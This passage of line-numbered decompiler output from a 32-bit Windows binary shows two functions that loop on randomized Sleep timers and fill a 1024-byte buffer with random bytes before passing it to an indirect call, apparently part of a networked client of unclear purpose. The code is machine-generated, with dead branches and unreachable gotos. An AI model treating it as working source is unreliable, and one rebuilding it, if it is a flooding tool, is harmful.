  2472. // 0x402040
  2473. g3 = &g24;
  2474. if (*(char *)(v3 + 4) != 0) {
  2475. // 0x402154
  2476. abort();
  2477. // UNREACHABLE
  2478. }
  2479. int32_t v4 = (int32_t)&dwMilliseconds; // 0x40204f
  2480. while (true) {
  2481. int32_t * v5 = (int32_t *)(v4 - 4); // 0x40204f
  2482. *v5 = 5;
  2483. Sleep((int32_t)dwMilliseconds);
  2484. int32_t v6 = *(int32_t *)*(int32_t *)(g5 + 20); // eax
  2485. *v5 = 0x40205f;
  2486. __pseudo_call(*(int32_t *)(v6 + 12));
  2487. if ((char)v6 == 0) {
  2488. // 0x402045
  2489. if (*(char *)(g5 + 4) == 0) {
  2490. goto lab_0x402045_3;
  2491. }
  2492. // 0x402045
  2493. // branch -> 0x402154
  2494. // 0x402154
  2495. abort();
  2496. // UNREACHABLE
  2497. }
  2498. // 0x402063
  2499. g7 = 0;
  2500. *(int32_t *)(g8 - 4) = g2 + 8;
  2501. g4 = g5;
  2502. *(int32_t *)(g2 + 8) = g7;
  2503. function_402719();
  2504. if (*(int32_t *)(g2 + 8) != g7) {
  2505. // 0x402078
  2506. *(int32_t *)(g8 - 4) = (int32_t)&g33;
  2507. *(int32_t *)(g8 - 8) = g3;
  2508. *(int32_t *)(g8 - 12) = g2 - 48;
  2509. int32_t v7 = __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_PBDABV10_40__40_Z(); // 0x402082
  2510. *(int32_t *)(g8 - 4) = g3;
  2511. *(int32_t *)(g8 - 8) = v7;
  2512. *(int32_t *)(g2 - 4) = g7;
  2513. *(int32_t *)(g8 - 4) = g2 - 32;
  2514. __3f__3f_Hstd_40__40_YA_3f_AV_3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_0_40_ABV10_40_PBD_40_Z();
  2515. *(int32_t *)(g8 + 20) = 1;
  2516. *(char *)(g2 - 4) = 2;
  2517. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2518. int32_t v8 = *(int32_t *)(g2 + 8) + 66; // 0x4020aa
  2519. g7 = v8;
  2520. *(int32_t *)(g8 - 4) = v8;
  2521. *(int32_t *)g8 = strlen(dwMilliseconds);
  2522. *(int32_t *)(g8 - 4) = g7;
  2523. int32_t v9 = _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)dwMilliseconds, v2); // 0x4020b9
  2524. int32_t v10 = g8; // 0x4020e0
  2525. if (g38 == 1) {
  2526. // 0x4020c8
  2527. *(int32_t *)(g8 - 4) = (int32_t)&g30;
  2528. *(int32_t *)(g8 - 8) = 1256;
  2529. *(int32_t *)(g8 - 12) = *(int32_t *)(g2 + 8);
  2530. v10 = g8 + 12;
  2531. v9 = function_4018b0();
  2532. // branch -> 0x4020dd
  2533. }
  2534. int32_t v11 = v10 - 16; // 0x4020e0
  2535. *(int32_t *)(g2 - 16) = v11;
  2536. *(int32_t *)(g8 - 4) = 0;
  2537. int32_t v12 = (int32_t)*(char *)(g2 - 32) | v9 & -256; // 0x4020ec
  2538. *(char *)v11 = (char)v12;
  2539. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2540. *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
  2541. *(int32_t *)(g8 - 8) = 0;
  2542. *(int32_t *)(g8 - 12) = g2 - 32;
  2543. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)dwMilliseconds, v2, v1);
  2544. *(int32_t *)(g8 - 4) = 1256;
  2545. *(int32_t *)(g8 - 8) = *(int32_t *)(g2 + 8);
  2546. int32_t v13 = *(int32_t *)*(int32_t *)(g5 + 20); // 0x402114
  2547. *(int32_t *)(g8 - 12) = 0x402119;
  2548. __pseudo_call(*(int32_t *)(v13 + 20));
  2549. if (v13 < 1) {
  2550. lab_0x40212f:
  2551. // 0x40212f
  2552. *(int32_t *)(g8 - 4) = 0x402137;
  2553. __pseudo_call(*(int32_t *)(*(int32_t *)*(int32_t *)(g5 + 20) + 8));
  2554. // branch -> 0x402137
  2555. } else {
  2556. // 0x40211d
  2557. if (false) {
  2558. goto lab_0x40212f;
  2559. // 0x402137
  2560. *(int32_t *)(g8 - 4) = *(int32_t *)(g2 + 8);
  2561. __3f__3f_3_40_YAXPAX_40_Z((int32_t)dwMilliseconds);
  2562. *(int32_t *)(g2 - 4) = -1;
  2563. *(int32_t *)g8 = 1;
  2564. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2565. // branch -> 0x402045
  2566. lab_0x402045:
  2567. // 0x402045
  2568. if (*(char *)(g5 + 4) != 0) {
  2569. // 0x402045
  2570. // branch -> 0x402154
  2571. // 0x402154
  2572. abort();
  2573. // UNREACHABLE
  2574. }
  2575. lab_0x402045_3:
  2576. // 0x402045
  2577. v4 = g8;
  2578. // branch -> 0x40204f
  2579. continue;
  2580. }
  2581. }
  2582. // 0x402137
  2583. *(int32_t *)(g8 - 4) = *(int32_t *)(g2 + 8);
  2584. __3f__3f_3_40_YAXPAX_40_Z((int32_t)dwMilliseconds);
  2585. *(int32_t *)(g2 - 4) = -1;
  2586. *(int32_t *)g8 = 1;
  2587. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)dwMilliseconds);
  2588. // branch -> 0x402045
  2589. goto lab_0x402045;
  2590. }
  2591. // 0x402045
  2592. if (*(char *)(g5 + 4) == 0) {
  2593. goto lab_0x402045_3;
  2594. }
  2595. // 0x402045
  2596. // branch -> 0x402154
  2597. // 0x402154
  2598. abort();
  2599. // UNREACHABLE
  2600. }
  2601. }
  2602.  
  2603. // Address range: 0x402167 - 0x40269f
  2604. int32_t function_402167(void) {
  2605. // 0x402167
  2606. function_404b60();
  2607. int32_t n = g3; // 0x40217a
  2608. int32_t v1 = g7; // 0x40217b
  2609. char * str2 = (char *)v1; // 0x40217b
  2610. char * str = (char *)g5; // bp-540
  2611. if (*(int32_t *)(*(int32_t *)(g2 + 8) + 20) == 0) {
  2612. // 0x40268d
  2613. abort();
  2614. // UNREACHABLE
  2615. }
  2616. // 0x402187
  2617. g7 = 1256;
  2618. g3 = &g24;
  2619. int32_t * v2 = (int32_t *)v1;
  2620. int32_t v3 = (int32_t)&str; // 0x402199
  2621. // branch -> 0x402191
  2622. while (true) {
  2623. int32_t v4 = *(int32_t *)(g2 + 8); // 0x402191
  2624. g5 = v4;
  2625. int32_t v5 = *(int32_t *)(v4 + 20); // 0x402194
  2626. g4 = v5;
  2627. int32_t v6 = *(int32_t *)v5; // eax
  2628. *(int32_t *)(v3 - 4) = 0x40219c;
  2629. __pseudo_call(*(int32_t *)(v6 + 12));
  2630. if ((char)v6 == 0) {
  2631. // 0x4021a0
  2632. g4 = g5;
  2633. if ((char)function_4026a0() == 0) {
  2634. lab_0x402191:
  2635. // 0x402191
  2636. v3 = g8;
  2637. // branch -> 0x402191
  2638. continue;
  2639. }
  2640. }
  2641. // 0x4021ab
  2642. GetTickCount();
  2643. *(int32_t *)(g8 - 4) = g2 - 140;
  2644. function_401732();
  2645. int32_t v7 = (int32_t)&g29; // edx
  2646. *(int32_t *)g8 = 100;
  2647. *(int32_t *)(g2 - 16) = 0;
  2648. _memset((char *)v7, 0, *(int32_t *)g8);
  2649. int32_t v8 = g2; // 0x4021cf
  2650. int32_t * v9 = (int32_t *)(v8 - 16); // 0x4021cf
  2651. int32_t v10 = *v9; // 0x4021cf
  2652. int32_t v11 = 256 * (int32_t)*(char *)(v8 - 140 + v10); // 0x4021d4
  2653. int32_t v12 = v8 - 139 + v10; // 0x4021db
  2654. int32_t v13 = (int32_t)*(char *)v12 | v11; // 0x4021e2
  2655. int32_t v14 = (int32_t)*(char *)(v12 + 2); // 0x4021e8
  2656. *v9 = *v9 + 4;
  2657. int32_t v15 = v14 | 256 * ((int32_t)*(char *)(v12 + 1) | 256 * v13); // 0x402204
  2658. *(int32_t *)(4 * *v9 / 4 + (int32_t)&g29) = v15;
  2659. // branch -> bb
  2660. while (*(int32_t *)(g2 - 16) < 68) {
  2661. // bb
  2662. v8 = g2;
  2663. v9 = (int32_t *)(v8 - 16);
  2664. v10 = *v9;
  2665. v11 = 256 * (int32_t)*(char *)(v8 - 140 + v10);
  2666. v12 = v8 - 139 + v10;
  2667. v13 = (int32_t)*(char *)v12 | v11;
  2668. v14 = (int32_t)*(char *)(v12 + 2);
  2669. *v9 = *v9 + 4;
  2670. v15 = v14 | 256 * ((int32_t)*(char *)(v12 + 1) | 256 * v13);
  2671. *(int32_t *)(4 * *v9 / 4 + (int32_t)&g29) = v15;
  2672. // continue -> bb
  2673. }
  2674. // 0x40220d
  2675. *(int32_t *)(g8 - 4) = (int32_t)&g31;
  2676. *(int32_t *)(g8 - 8) = v7;
  2677. g31 = 544;
  2678. function_401069();
  2679. int32_t * v16 = (int32_t *)(g8 - 4); // 0x402222
  2680. *v16 = 100;
  2681. int32_t v17 = g2 - 540; // 0x402227
  2682. g5 = v17;
  2683. *v16 = g31;
  2684. _memset((char *)v17, 0, *v16);
  2685. *(int32_t *)(g8 - 4) = (int32_t)&g29;
  2686. *(int32_t *)(g2 - 540) = g19;
  2687. *(int32_t *)(g2 - 24) = g20;
  2688. *(int32_t *)(g8 - 4) = g2 - 24;
  2689. *(int32_t *)(g8 - 8) = g2 - 540;
  2690. function_401652();
  2691. *(int32_t *)(g8 - 4) = g7;
  2692. g5 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)str);
  2693. *(int32_t *)(g8 - 4) = g7;
  2694. *(int32_t *)(g8 - 8) = 0;
  2695. *(int32_t *)(g8 - 12) = g5;
  2696. memset((int32_t *)str, v1, n);
  2697. *(int32_t *)(g8 - 4) = (int32_t)&g22;
  2698. *(int32_t *)(g8 - 8) = g5;
  2699. strcpy(str, str2);
  2700. v6 = (int32_t)g34;
  2701. if (g34 == NULL) {
  2702. // 0x402285
  2703. v6 = *(int32_t *)0x4060a8;
  2704. // branch -> 0x40228a
  2705. }
  2706. // 0x40228a
  2707. *(int32_t *)(g8 + 44) = 64;
  2708. *(int32_t *)(g8 + 40) = v6;
  2709. *(int32_t *)(g8 + 36) = g5 + 2;
  2710. strncpy(str, str2, n);
  2711. *(int32_t *)(g8 - 4) = 400;
  2712. *(int32_t *)(g5 + 228) = *(int32_t *)(g2 - 24);
  2713. *(int32_t *)(g8 - 4) = g2 - 540;
  2714. *(int32_t *)(g8 - 8) = g5 + 232;
  2715. memcpy((int32_t *)str, v2, n);
  2716. int32_t v18 = g2; // 0x4022b8
  2717. *(char *)(v18 - 40) = *(char *)(v18 + 11);
  2718. *(int32_t *)(g8 - 4) = 0;
  2719. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  2720. *(int32_t *)(g8 - 4) = g3;
  2721. *(int32_t *)g8 = strlen(str);
  2722. *(int32_t *)(g8 - 4) = g3;
  2723. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)str, v1);
  2724. *(int32_t *)(g2 - 4) = 0;
  2725. *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
  2726. *(int32_t *)(g8 - 8) = 0;
  2727. *(int32_t *)(g8 - 12) = (int32_t)&g33;
  2728. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z();
  2729. *(int32_t *)(g8 - 4) = *(int32_t *)&g16;
  2730. *(int32_t *)(g8 - 8) = g7;
  2731. *(int32_t *)(g8 - 12) = g5;
  2732. int32_t v19 = function_4018b0(); // 0x402301
  2733. int32_t v20 = g8 - 4; // 0x402309
  2734. *(int32_t *)v20 = g4;
  2735. int32_t v21 = v20; // ecx
  2736. *(int32_t *)(g2 - 20) = v20;
  2737. *(int32_t *)(g8 - 4) = 0;
  2738. *(int32_t *)(g2 - 20) = v21;
  2739. int32_t v22 = (int32_t)*(char *)(g2 - 40) | v19 & -256; // 0x402314
  2740. *(char *)v21 = (char)v22;
  2741. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  2742. *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
  2743. *(int32_t *)(g8 - 8) = 0;
  2744. *(int32_t *)(g8 - 12) = g2 - 40;
  2745. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)str, v1, n);
  2746. *(int32_t *)(g8 - 4) = g7;
  2747. *(int32_t *)(g8 - 8) = g5;
  2748. int32_t v23 = *(int32_t *)(*(int32_t *)(g2 + 8) + 20); // 0x402337
  2749. *(int32_t *)(g8 - 12) = 0x40233f;
  2750. __pseudo_call(*(int32_t *)(*(int32_t *)v23 + 20));
  2751. *(int32_t *)(g8 - 4) = g5;
  2752. __3f__3f_3_40_YAXPAX_40_Z((int32_t)str);
  2753. int32_t v24 = 0; // edi
  2754. // branch -> 0x402348
  2755. while (true) {
  2756. // 0x402348
  2757. *(int32_t *)g8 = 1000;
  2758. Sleep((int32_t)str);
  2759. int32_t v25; // 0x40260c
  2760. if (g38 != 1) {
  2761. int32_t v26 = v24; // 0x40235c
  2762. if (v26 == 9) {
  2763. // 0x402605
  2764. g38 = 0;
  2765. v25 = *(int32_t *)(g2 + 8);
  2766. g5 = v25;
  2767. // branch -> 0x40260f
  2768. } else {
  2769. int32_t v27 = v26 + 1; // 0x402365
  2770. v24 = v27;
  2771. if (v27 >= 10) {
  2772. // break -> 0x40236b
  2773. break;
  2774. }
  2775. // continue -> 0x402348
  2776. continue;
  2777. }
  2778. lab_0x40260f:
  2779. // 0x40260f
  2780. g4 = v25;
  2781. function_402756();
  2782. g4 = g5;
  2783. function_402d95();
  2784. *(int32_t *)(g8 - 4) = (int32_t)&g9;
  2785. __pseudo_call(*(int32_t *)(*(int32_t *)*(int32_t *)(g5 + 20) + 8));
  2786. // branch -> 0x40265a
  2787. lab_0x40265a:
  2788. // 0x40265a
  2789. *(int32_t *)(g2 - 4) = -1;
  2790. *(int32_t *)(g8 - 4) = 1;
  2791. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  2792. // branch -> 0x402191
  2793. goto lab_0x402191;
  2794. }
  2795. int32_t v28 = g2; // 0x40236b
  2796. g5 = *(int32_t *)(v28 + 8);
  2797. *(int32_t *)(v28 - 16) = 0;
  2798. if (*(char *)(g5 + 4) == 0) {
  2799. while (true) {
  2800. int32_t v29 = rand(); // 0x40237c
  2801. int64_t v30 = 0x100000000 * (int64_t)(v29 >> 31) | (int64_t)v29; // 0x402388
  2802. int32_t * v31 = (int32_t *)(g8 - 4); // 0x402390
  2803. *v31 = (int32_t)(v30 % 0x2711) + 1000;
  2804. Sleep((int32_t)str);
  2805. if (g37 == 1) {
  2806. // 0x40237c
  2807. // branch -> 0x4024c1
  2808. } else {
  2809. // 0x4023a4
  2810. if (*(int32_t *)(g2 - 16) == 30) {
  2811. // 0x40266e
  2812. g38 = 0;
  2813. g37 = 0;
  2814. v25 = g5;
  2815. // branch -> 0x40260f
  2816. goto lab_0x40260f;
  2817. } else {
  2818. // 0x4023ae
  2819. *v31 = g7;
  2820. g5 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)str);
  2821. *(int32_t *)(g8 - 4) = g7;
  2822. *(int32_t *)(g8 - 8) = 0;
  2823. *(int32_t *)(g8 - 12) = g5;
  2824. memset((int32_t *)str, v1, n);
  2825. *(int32_t *)(g8 - 4) = (int32_t)&g23;
  2826. *(int32_t *)(g8 - 8) = g5;
  2827. strcpy(str, str2);
  2828. v6 = (int32_t)g34;
  2829. if (g34 == NULL) {
  2830. // 0x4023d6
  2831. v6 = *(int32_t *)0x4060a8;
  2832. // branch -> 0x4023db
  2833. }
  2834. // 0x4023db
  2835. *(int32_t *)(g8 + 20) = 64;
  2836. *(int32_t *)(g8 + 16) = v6;
  2837. *(int32_t *)(g8 + 12) = g5 + 2;
  2838. strncpy(str, str2, n);
  2839. *(int32_t *)(g5 + 228) = 240;
  2840. *(int32_t *)(g8 - 4) = 240;
  2841. *(int32_t *)(g8 - 8) = (int32_t)&g39;
  2842. *(int32_t *)(g8 - 12) = g5 + 232;
  2843. memcpy((int32_t *)str, v2, n);
  2844. int32_t v32 = g2; // 0x402405
  2845. *(char *)(v32 - 72) = *(char *)(v32 + 11);
  2846. *(int32_t *)(g8 - 4) = 0;
  2847. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  2848. *(int32_t *)(g8 - 4) = g3;
  2849. *(int32_t *)g8 = strlen(str);
  2850. *(int32_t *)(g8 - 4) = g3;
  2851. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)str, v1);
  2852. *(char *)(g2 - 4) = 1;
  2853. *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
  2854. *(int32_t *)(g8 - 8) = 0;
  2855. *(int32_t *)(g8 - 12) = (int32_t)&g33;
  2856. int32_t v33 = _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z(); // 0x402440
  2857. int32_t v34 = g8; // 0x402461
  2858. if (g38 == 1) {
  2859. // 0x40244f
  2860. *(int32_t *)(g8 - 4) = (int32_t)&g30;
  2861. *(int32_t *)(g8 - 8) = g7;
  2862. *(int32_t *)(g8 - 12) = g5;
  2863. v34 = g8 + 12;
  2864. v33 = function_4018b0();
  2865. // branch -> 0x40245e
  2866. }
  2867. int32_t v35 = g2; // 0x40245e
  2868. int32_t v36 = v34 - 16; // 0x402461
  2869. v21 = v36;
  2870. *(int32_t *)(v35 - 20) = v36;
  2871. *(int32_t *)(g8 - 4) = 0;
  2872. *(int32_t *)(g2 - 20) = v21;
  2873. int32_t v37 = (int32_t)*(char *)(v35 - 72) | v33 & -256; // 0x40246e
  2874. *(char *)v21 = (char)v37;
  2875. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  2876. *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
  2877. *(int32_t *)(g8 - 8) = 0;
  2878. *(int32_t *)(g8 - 12) = g2 - 72;
  2879. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)str, v1, n);
  2880. *(int32_t *)(g8 - 4) = g7;
  2881. *(int32_t *)(g8 - 8) = g5;
  2882. int32_t v38 = *(int32_t *)(*(int32_t *)(g2 + 8) + 20); // 0x402491
  2883. *(int32_t *)(g8 - 12) = 0x402499;
  2884. __pseudo_call(*(int32_t *)(*(int32_t *)v38 + 20));
  2885. *(int32_t *)(g8 - 4) = g5;
  2886. __3f__3f_3_40_YAXPAX_40_Z((int32_t)str);
  2887. *(char *)(g2 - 4) = 0;
  2888. *(int32_t *)g8 = 1;
  2889. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  2890. int32_t v39 = g2; // 0x4024af
  2891. int32_t * v40 = (int32_t *)(v39 - 16); // 0x4024b2
  2892. *v40 = *v40 + 1;
  2893. int32_t v41 = *(int32_t *)(v39 + 8); // 0x4024b5
  2894. g5 = v41;
  2895. if (*(char *)(v41 + 4) != 0) {
  2896. // break -> 0x4024c1
  2897. break;
  2898. }
  2899. // continue -> 0x40237c
  2900. continue;
  2901. }
  2902. }
  2903. // 0x4024c1
  2904. if (*(char *)(g5 + 4) != 0) {
  2905. // 0x40267e
  2906. *(int32_t *)(g2 - 4) = -1;
  2907. *(int32_t *)(g8 - 4) = 1;
  2908. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  2909. // branch -> 0x40268d
  2910. // 0x40268d
  2911. abort();
  2912. // UNREACHABLE
  2913. }
  2914. while (true) {
  2915. // 0x4024cb
  2916. *(int32_t *)(g8 - 4) = g7;
  2917. int32_t v42 = __3f__3f_2_40_YAPAXI_40_Z((int32_t)str); // 0x4024cc
  2918. *(int32_t *)(g8 - 4) = g7;
  2919. *(int32_t *)(g8 - 8) = 0;
  2920. *(int32_t *)(g8 - 12) = v42;
  2921. *(int32_t *)(g2 - 16) = v42;
  2922. memset((int32_t *)str, v1, n);
  2923. *(int32_t *)(g8 - 4) = (int32_t)&g25;
  2924. *(int32_t *)(g8 - 8) = *(int32_t *)(g2 - 16);
  2925. strcpy(str, str2);
  2926. v6 = (int32_t)g34;
  2927. if (g34 == NULL) {
  2928. // 0x4024f6
  2929. v6 = *(int32_t *)0x4060a8;
  2930. // branch -> 0x4024fb
  2931. }
  2932. // 0x4024fb
  2933. *(int32_t *)(g8 + 20) = 64;
  2934. *(int32_t *)(g8 + 16) = v6;
  2935. *(int32_t *)(g8 + 12) = *(int32_t *)(g2 - 16) + 2;
  2936. strncpy(str, str2, n);
  2937. int32_t v43 = g2; // 0x40250b
  2938. *(char *)(v43 - 56) = *(char *)(v43 + 11);
  2939. *(int32_t *)(g8 - 4) = 0;
  2940. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  2941. *(int32_t *)(g8 - 4) = g3;
  2942. *(int32_t *)g8 = strlen(str);
  2943. *(int32_t *)(g8 - 4) = g3;
  2944. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_PBDI_40_Z((int32_t)str, v1);
  2945. *(char *)(g2 - 4) = 2;
  2946. *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
  2947. *(int32_t *)(g8 - 8) = 0;
  2948. *(int32_t *)(g8 - 12) = (int32_t)&g33;
  2949. _3f_append_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z();
  2950. *(int32_t *)(g2 - 20) = 0;
  2951. v6 = rand();
  2952. int32_t v44 = g2; // 0x402556
  2953. int32_t * v45 = (int32_t *)(v44 - 20); // 0x402556
  2954. v21 = *(int32_t *)(v44 - 16);
  2955. *v45 = *v45 + 1;
  2956. int32_t v46 = *v45; // 0x402566
  2957. *(char *)(v21 + 232 + v46) = (char)v6;
  2958. // branch -> 0x402550
  2959. while (*(int32_t *)(g2 - 20) < 1024) {
  2960. // 0x402550
  2961. v6 = rand();
  2962. v44 = g2;
  2963. v45 = (int32_t *)(v44 - 20);
  2964. v21 = *(int32_t *)(v44 - 16);
  2965. *v45 = *v45 + 1;
  2966. v46 = *v45;
  2967. *(char *)(v21 + 232 + v46) = (char)v6;
  2968. // continue -> 0x402550
  2969. }
  2970. // 0x40256f
  2971. int32_t v47; // 0x40258a
  2972. int32_t v48; // 0x402587
  2973. if (g38 != 1) {
  2974. // 0x40256f
  2975. v47 = g8;
  2976. v48 = v6;
  2977. // branch -> 0x402587
  2978. } else {
  2979. // 0x402578
  2980. *(int32_t *)(g8 - 4) = (int32_t)&g30;
  2981. *(int32_t *)(g8 - 8) = g7;
  2982. *(int32_t *)(g8 - 12) = v21;
  2983. v47 = g8 + 12;
  2984. v48 = function_4018b0();
  2985. // branch -> 0x402587
  2986. }
  2987. int32_t v49 = g2; // 0x402587
  2988. int32_t v50 = v47 - 16; // 0x40258a
  2989. v21 = v50;
  2990. *(int32_t *)(v49 - 20) = v50;
  2991. *(int32_t *)(g8 - 4) = 0;
  2992. *(int32_t *)(g2 - 20) = v21;
  2993. int32_t v51 = (int32_t)*(char *)(v49 - 56) | v48 & -256; // 0x402597
  2994. *(char *)v21 = (char)v51;
  2995. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  2996. *(int32_t *)(g8 - 4) = *(int32_t *)*(int32_t *)0x4060b4;
  2997. *(int32_t *)(g8 - 8) = 0;
  2998. *(int32_t *)(g8 - 12) = g2 - 56;
  2999. _3f_assign_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_QAEAAV12_40_ABV12_40_II_40_Z((int32_t)str, v1, n);
  3000. *(int32_t *)(g8 - 4) = g7;
  3001. *(int32_t *)(g8 - 8) = *(int32_t *)(g2 - 16);
  3002. *(int32_t *)(g8 - 12) = 0x4025c1;
  3003. __pseudo_call(*(int32_t *)(*(int32_t *)*(int32_t *)(g5 + 20) + 20));
  3004. *(int32_t *)(g8 - 4) = *(int32_t *)(g2 - 16);
  3005. __3f__3f_3_40_YAXPAX_40_Z((int32_t)str);
  3006. int32_t v52 = rand(); // 0x4025ca
  3007. int64_t v53 = 0x100000000 * (int64_t)(v52 >> 31) | (int64_t)v52; // 0x4025d6
  3008. int32_t * v54 = (int32_t *)(g8 - 4); // 0x4025de
  3009. *v54 = (int32_t)(v53 % 0x2710) + 0x3a98;
  3010. Sleep((int32_t)str);
  3011. v6 = *(int32_t *)*(int32_t *)(g5 + 20);
  3012. *v54 = 0x4025ed;
  3013. __pseudo_call(*(int32_t *)(v6 + 12));
  3014. if ((char)v6 == 0) {
  3015. // 0x402627
  3016. g38 = 0;
  3017. g37 = 0;
  3018. g4 = g5;
  3019. function_402756();
  3020. g4 = g5;
  3021. function_402d95();
  3022. *(int32_t *)(g8 - 4) = 0x40264b;
  3023. __pseudo_call(*(int32_t *)(*(int32_t *)*(int32_t *)(g5 + 20) + 8));
  3024. *(char *)(g2 - 4) = 0;
  3025. *(int32_t *)(g8 - 4) = 1;
  3026. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  3027. // branch -> 0x40265a
  3028. goto lab_0x40265a;
  3029. } else {
  3030. // 0x4025f1
  3031. *(char *)(g2 - 4) = 0;
  3032. *(int32_t *)(g8 - 4) = 1;
  3033. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  3034. if (*(char *)(g5 + 4) != 0) {
  3035. // break -> 0x40267e
  3036. break;
  3037. }
  3038. // continue -> 0x4024cb
  3039. continue;
  3040. }
  3041. }
  3042. // 0x40267e
  3043. *(int32_t *)(g2 - 4) = -1;
  3044. *(int32_t *)(g8 - 4) = 1;
  3045. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  3046. // branch -> 0x40268d
  3047. // 0x40268d
  3048. abort();
  3049. // UNREACHABLE
  3050. }
  3051. }
  3052. // 0x40267e
  3053. *(int32_t *)(g2 - 4) = -1;
  3054. *(int32_t *)(g8 - 4) = 1;
  3055. _3f__Tidy_40__3f__24_basic_string_40_DU_3f__24_char_traits_40_D_40_std_40__40_V_3f__24_allocator_40_D_40_2_40__40_std_40__40_AAEX_N_40_Z((int32_t)str);
  3056. // branch -> 0x40268d
  3057. // 0x40268d
  3058. abort();
  3059. // UNREACHABLE
  3060. }
  3061. }
  3062. }
  3063.  
  3064. // Address range: 0x4026a0 - 0x4026ad
  3065. int32_t function_4026a0(void) {
